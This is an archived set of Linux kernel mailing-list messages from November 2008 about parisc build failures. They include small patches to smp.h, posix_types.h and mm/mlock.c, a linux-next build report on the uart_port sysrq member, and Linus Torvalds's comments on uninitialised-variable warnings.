X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fix cpumask build breakage on parisc
Date: Thu, 13 Nov 2008 18:55:54 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200811131855.55450.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1226599033 24248 80.91.229.12 (13 Nov 2008 17:57:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Nov 2008 17:57:13 +0000 (UTC)
To: linux-kernel@vger.kernel.org,
	Rusty Russell <rusty@rustcorp.com.au>,
	akpm@linux-foundation.org, torvalds@linux-foundation.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	linux-parisc@vge
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 13 18:58:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L0gRQ-00067M-Sz
	for glpp-linux-parisc@gmane.org; Thu, 13 Nov 2008 18:57:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751646AbYKMR4G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Nov 2008 12:56:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751911AbYKMR4F
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 13 Nov 2008 12:56:05 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46480 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751646AbYKMR4E (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Nov 2008 12:56:04 -0500
Original-Received: (qmail invoked by alias); 13 Nov 2008 17:55:59 -0000
Original-Received: from mnhm-590f740b.pool.einsundeins.de (EHLO p100.box) [89.15.116.11]
  by mail.gmx.net (mp010) with SMTP; 13 Nov 2008 18:55:59 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18Ih9AMGr8Ij0XSB1TdY1yFhMCB24lq9NLtHfN5Nu
	RbOqrwbmZGhIu6
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5600000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:832 gmane.linux.kernel:757057
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/832>

This commit:
	2d3854a37e8b767a51aba38ed6d22817b0631e33
	cpumask: introduce new API, without changing anything

introduced a build breakage on parisc.

This trivial patch fixes it.


Signed-off-by: Helge Deller <deller@gmx.de>
CC:	Rusty Russell <rusty@rustcorp.com.au>
CC:	akpm@linux-foundation.org
CC:	torvalds@linux-foundation.org
CC:	Kyle Mc Martin <kyle@hera.kernel.org>
	

--- a/arch/parisc/include/asm/smp.h
+++ b/arch/parisc/include/asm/smp.h
@@ -44,8 +44,6 @@ extern void arch_send_call_function_ipi(cpumask_t mask);
  
 #define PROC_CHANGE_PENALTY	15		/* Schedule penalty */
 
-extern unsigned long cpu_present_mask;

From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH/resend] parisc: __kernel_time_t is always long
Date: Sun, 16 Nov 2008 12:04:13 +0100 (CET)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0811161203140.20437@anakin>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1226833504 31315 80.91.229.12 (16 Nov 2008 11:05:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Nov 2008 11:05:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, trivial@kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 16 12:06:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L1fS4-0000bm-Ew
	for glpp-linux-parisc@gmane.org; Sun, 16 Nov 2008 12:06:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751722AbYKPLEt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Nov 2008 06:04:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751770AbYKPLEs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Nov 2008 06:04:48 -0500
Original-Received: from yorgi.telenet-ops.be ([195.130.133.69]:36462 "EHLO
	yorgi.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751722AbYKPLEs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Nov 2008 06:04:48 -0500
Original-Received: from monty.telenet-ops.be (monty.telenet-ops.be [195.130.132.56])
	by yorgi.telenet-ops.be (Postfix) with ESMTP id 3F700680E23
	for <linux-parisc@vger.kernel.org>; Sun, 16 Nov 2008 12:04:46 +0100 (CET)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by monty.telenet-ops.be (Postfix) with SMTP id C877E5406D;
	Sun, 16 Nov 2008 12:04:14 +0100 (CET)
Original-Received: from anakin.of.borg (d54C15368.access.telenet.be [84.193.83.104])
	by monty.telenet-ops.be (Postfix) with ESMTP id B43F154038;
	Sun, 16 Nov 2008 12:04:14 +0100 (CET)
Original-Received: from anakin.of.borg (localhost [127.0.0.1])
	by anakin.of.borg (8.14.3/8.14.3/Debian-5) with ESMTP id mAGB4Edc020452
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 16 Nov 2008 12:04:14 +0100
Original-Received: from localhost (geert@localhost)
	by anakin.of.borg (8.14.3/8.14.3/Submit) with ESMTP id mAGB4Dab020449;
	Sun, 16 Nov 2008 12:04:14 +0100
X-Authentication-Warning: anakin.of.borg: geert owned process doing -bs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/833>

__kernel_time_t is always long on PA-RISC, irrespective of CONFIG_64BIT,
hence move it out of the #ifdef CONFIG_64BIT / #else / #endif block.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 arch/parisc/include/asm/posix_types.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- a/arch/parisc/include/asm/posix_types.h
+++ b/arch/parisc/include/asm/posix_types.h
@@ -24,13 +24,12 @@ typedef int			__kernel_daddr_t;
 typedef unsigned long		__kernel_size_t;
 typedef long			__kernel_ssize_t;
 typedef long			__kernel_ptrdiff_t;
-typedef long			__kernel_time_t;
 #else
 typedef unsigned int		__kernel_size_t;
 typedef int			__kernel_ssize_t;
 typedef int			__kernel_ptrdiff_t;
-typedef long			__kernel_time_t;
 #endif
+typedef long			__kernel_time_t;
 typedef char *			__kernel_caddr_t;
 
 typedef unsigned short		__kernel_uid16_t;

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: parisc build failure
Date: Sun, 16 Nov 2008 23:13:42 +1100
Lines: 51
Approved: news@gmane.org
Message-ID: <20081116231342.0cd747bd.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Sun__16_Nov_2008_23_13_42_+1100_n+AZsqsfjkK73wvx"
X-Trace: ger.gmane.org 1226837669 8953 80.91.229.12 (16 Nov 2008 12:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Nov 2008 12:14:29 +0000 (UTC)
Cc: linux-next@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Kyle McMartin <kyle@mcmartin.ca>, <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Sun Nov 16 13:15:30 2008
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L1gXH-0000L2-AM
	for glkn-linux-next@gmane.org; Sun, 16 Nov 2008 13:15:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751931AbYKPMOP (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Sun, 16 Nov 2008 07:14:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751910AbYKPMOP
	(ORCPT <rfc822;linux-next-outgoing>);
	Sun, 16 Nov 2008 07:14:15 -0500
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:36176 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751888AbYKPMOO (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Sun, 16 Nov 2008 07:14:14 -0500
Original-Received: from ash.ozlabs.ibm.com (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id ED4B7368007;
	Sun, 16 Nov 2008 23:14:03 +1100 (EST)
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:3944 gmane.linux.ports.parisc:834 gmane.linux.kernel:758002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/834>

--Signature=_Sun__16_Nov_2008_23_13_42_+1100_n+AZsqsfjkK73wvx
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Kyle,

Today's linux-next build (parisc allmodconfig) failed like this:

In file included from drivers/serial/mux.c:38:
include/linux/serial_core.h: In function 'uart_handle_sysrq_char':
include/linux/serial_core.h:450: error: 'struct uart_port' has no member na=
med 'sysrq'
include/linux/serial_core.h:451: error: 'struct uart_port' has no member na=
med 'sysrq'
include/linux/serial_core.h:451: error: 'struct uart_port' has no member na=
med 'sysrq'
include/linux/serial_core.h:453: error: 'struct uart_port' has no member na=
med 'sysrq'
include/linux/serial_core.h:456: error: 'struct uart_port' has no member na=
med 'sysrq'
include/linux/serial_core.h:473: error: 'struct uart_port' has no member na=
med 'sysrq'
include/linux/serial_core.h:474: error: 'struct uart_port' has no member na=
med 'sysrq'
include/linux/serial_core.h:477: error: 'struct uart_port' has no member na=
med 'sysrq'

This is happening in mainline as well. In fact, this has been happening
back as far as I have results (Aug 27).  The sysrq element of struct
uart_port is dependent on CONFIG_SERIAL_CORE_CONSOLE while the references
failing above are dependent on SUPPORT_SYSRQ which is defined if
CONFIG_MAGIC_SYSRQ is defined in mux.c.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Sun__16_Nov_2008_23_13_42_+1100_n+AZsqsfjkK73wvx
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkkgDnYACgkQjjKRsyhoI8zyIwCdF+noH6S5a7Ys3tJ8fInPNI2Q
0/UAoJQ6t69Tza0sqB8l6PcCoDH7A9gM
=1jhk
-----END PGP SIGNATURE-----

--Signature=_Sun__16_Nov_2008_23_13_42_+1100_n+AZsqsfjkK73wvx--

From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.mm
Subject: [PATCH, 2.6.28-rc5] unitialized return value in mm/mlock.c: __mlock_vma_pages_range()
Date: Mon, 17 Nov 2008 00:30:57 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <200811170030.58246.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1226878357 31494 80.91.229.12 (16 Nov 2008 23:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Nov 2008 23:32:37 +0000 (UTC)
To: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	torvalds@linux-foundation.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	linux-parisc@vger.kernel.org, linux-mm <linux-mm@kvack.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 17 00:33:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L1r7Z-0008Se-KS
	for glpp-linux-parisc@gmane.org; Mon, 17 Nov 2008 00:33:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751327AbYKPXc1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Nov 2008 18:32:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751518AbYKPXc1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Nov 2008 18:32:27 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:47497 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751303AbYKPXc0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Nov 2008 18:32:26 -0500
Original-Received: (qmail invoked by alias); 16 Nov 2008 23:32:23 -0000
Original-Received: from mnhm-590f71c2.pool.einsundeins.de (EHLO p100.box) [89.15.113.194]
  by mail.gmx.net (mp068) with SMTP; 17 Nov 2008 00:32:23 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX194UTBTUvx4ldyqSLRLTLqbi24knGKyqzMqxQElDN
	RJa5m0Gwgk68Zc
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5600000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:835 gmane.linux.kernel:758185 gmane.linux.kernel.mm:28845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/835>

Fix an unitialized return value when compiling on parisc (with CONFIG_UNEVICTABLE_LRU=y):
	mm/mlock.c: In function `__mlock_vma_pages_range':
	mm/mlock.c:165: warning: `ret' might be used uninitialized in this function

Signed-off-by: Helge Deller <deller@gmx.de>

--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -162,7 +162,7 @@ static long __mlock_vma_pages_range(struct vm_area_struct *vma,
 	unsigned long addr = start;
 	struct page *pages[16]; /* 16 gives a reasonable batch */
 	int nr_pages = (end - start) / PAGE_SIZE;
-	int ret;
+	int ret = 0;
 	int gup_flags = 0;
 
 	VM_BUG_ON(start & ~PAGE_MASK);



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.mm
Subject: Re: [PATCH, 2.6.28-rc5] unitialized return value in mm/mlock.c:
 __mlock_vma_pages_range()
Date: Sun, 16 Nov 2008 15:55:10 -0800 (PST)
Lines: 29
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0811161551540.3468@nehalem.linux-foundation.org>
References: <200811170030.58246.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1226879746 2617 80.91.229.12 (16 Nov 2008 23:55:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Nov 2008 23:55:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	linux-parisc@vger.kernel.org, linux-mm <linux-mm@kvack.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 17 00:56:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L1rTv-0007yj-6s
	for glpp-linux-parisc@gmane.org; Mon, 17 Nov 2008 00:56:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751989AbYKPXza (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Nov 2008 18:55:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752349AbYKPXza
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Nov 2008 18:55:30 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:43862 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751674AbYKPXz3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Nov 2008 18:55:29 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mAGNtBto023262
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 16 Nov 2008 15:55:12 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mAGNtAdT015267;
	Sun, 16 Nov 2008 15:55:10 -0800
In-Reply-To: <200811170030.58246.deller@gmx.de>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-3.931 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:836 gmane.linux.kernel:758191 gmane.linux.kernel.mm:28846
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/836>



On Mon, 17 Nov 2008, Helge Deller wrote:
>
> Fix an unitialized return value when compiling on parisc (with CONFIG_UNEVICTABLE_LRU=y):
> 	mm/mlock.c: In function `__mlock_vma_pages_range':
> 	mm/mlock.c:165: warning: `ret' might be used uninitialized in this function

Looks valid.

Of course, nobody should ever call this with a range that could possibly 
be empty, so an equally valid approach would be to change the "while" loop 
to a "do while()", and that would generate better code. But I guess the 
simple unnecessary initialization is more defensive programming, in that 
if some other buggy caller does set things up with an empty range, it gets 
the right result.

Btw, exactly _because_ gcc warnings about uninitialized functions are 
sometimes bogus (ie due to gcc simply not being able to follow things like 
conditional initializations where the values are only used if they were 
initialized), I would ask that people comment on these kinds of issues 
when they send in patches. 

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel.next,gmane.linux.kernel
Subject: struct uart_port has no member named 'sysrq'   (was: linux-next: parisc build failure)
Date: Tue, 18 Nov 2008 20:24:24 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <200811182024.24781.deller@gmx.de>
References: <20081116231342.0cd747bd.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227036330 12040 80.91.229.12 (18 Nov 2008 19:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Nov 2008 19:25:30 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linux-next@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 18 20:26:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2WDX-0000rP-7L
	for glpp-linux-parisc@gmane.org; Tue, 18 Nov 2008 20:26:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752105AbYKRTZQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Nov 2008 14:25:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752216AbYKRTZQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Nov 2008 14:25:16 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33306 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751911AbYKRTZO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Nov 2008 14:25:14 -0500
Original-Received: (qmail invoked by alias); 18 Nov 2008 19:25:09 -0000
Original-Received: from mnhm-590e036a.pool.einsundeins.de (EHLO p100.box) [89.14.3.106]
  by mail.gmx.net (mp003) with SMTP; 18 Nov 2008 20:25:09 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18pfAwROIspqFTHDwEDBFNLeFNiX+61foAH0dClNk
	SiUTCdb0berEGn
User-Agent: KMail/1.9.7
In-Reply-To: <20081116231342.0cd747bd.sfr@canb.auug.org.au>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.44
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:837 gmane.linux.serial:2884 gmane.linux.kernel.next:3971 gmane.linux.kernel:759109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/837>

On Sunday 16 November 2008, Stephen Rothwell wrote:
> Hi Kyle,
> 
> Today's linux-next build (parisc allmodconfig) failed like this:
> 
> In file included from drivers/serial/mux.c:38:
> include/linux/serial_core.h: In function 'uart_handle_sysrq_char':
> include/linux/serial_core.h:450: error: 'struct uart_port' has no member named 'sysrq'
> include/linux/serial_core.h:451: error: 'struct uart_port' has no member named 'sysrq'
> include/linux/serial_core.h:451: error: 'struct uart_port' has no member named 'sysrq'
> include/linux/serial_core.h:453: error: 'struct uart_port' has no member named 'sysrq'
> include/linux/serial_core.h:456: error: 'struct uart_port' has no member named 'sysrq'
> include/linux/serial_core.h:473: error: 'struct uart_port' has no member named 'sysrq'
> include/linux/serial_core.h:474: error: 'struct uart_port' has no member named 'sysrq'
> include/linux/serial_core.h:477: error: 'struct uart_port' has no member named 'sysrq'
> 
> This is happening in mainline as well. In fact, this has been happening
> back as far as I have results (Aug 27).  The sysrq element of struct
> uart_port is dependent on CONFIG_SERIAL_CORE_CONSOLE while the references
> failing above are dependent on SUPPORT_SYSRQ which is defined if
> CONFIG_MAGIC_SYSRQ is defined in mux.c.

I assume you don't have CONFIG_SERIAL_CORE_CONSOLE set in your config, which is probably why this build failure shows up.
Looking at other serial drivers, which all seem to have similiar coding like mux.c, I'm wondering that it only shows up on parisc.

Anyway, since I assume we can't make the sysrq element of struct uart_port depended on SUPPORT_SYSRQ (since it depends on each serial driver if it wants to support the sysrq feature and we need to keep the size of struct uart_port constant), I think we need to add an additional check for CONFIG_SERIAL_CORE_CONSOLE to where we already check for SUPPORT_SYSRQ. 
Proposed patch and RFC below.

-------

[RFC] [PATCH] check for SUPPORT_SYSRQ and CONFIG_SERIAL_CORE_CONSOLE before accessing the "sysrq" member of struct uart_port.

Serial drivers (like mux.c) can #define SUPPORT_SYSRQ to tell the core serial functions that they want to have SYSRQ-support built-in.
If SUPPORT_SYSRQ is defined, the functions uart_handle_sysrq_char() and uart_handle_break() in include/linux/serial_core.h unconditionally access the "sysrq" member of struct uart_port.
Since the "sysrq" member of struct uart_port is only compiled into the kernel if CONFIG_SERIAL_CORE_CONSOLE is defined, builds will break if
SUPPORT_SYSRQ is defined and CONFIG_SERIAL_CORE_CONSOLE is not defined.

